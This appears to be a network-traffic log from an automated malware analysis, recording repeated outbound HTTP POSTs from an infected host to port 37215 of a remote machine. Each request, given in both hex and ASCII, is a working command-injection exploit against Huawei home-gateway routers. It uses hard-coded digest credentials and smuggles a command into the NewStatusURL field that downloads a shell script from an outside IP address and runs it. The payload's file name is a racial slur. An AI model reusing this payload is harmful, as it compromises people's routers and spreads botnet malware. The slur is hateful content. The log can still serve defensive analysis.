Feb 19, 2024 18:37:15.415918112 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.545726061 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.857657909 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:20.545563936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.921642065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.417182922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432533026 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.15	35624	31.200.29.69	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.416017056 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.545713902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
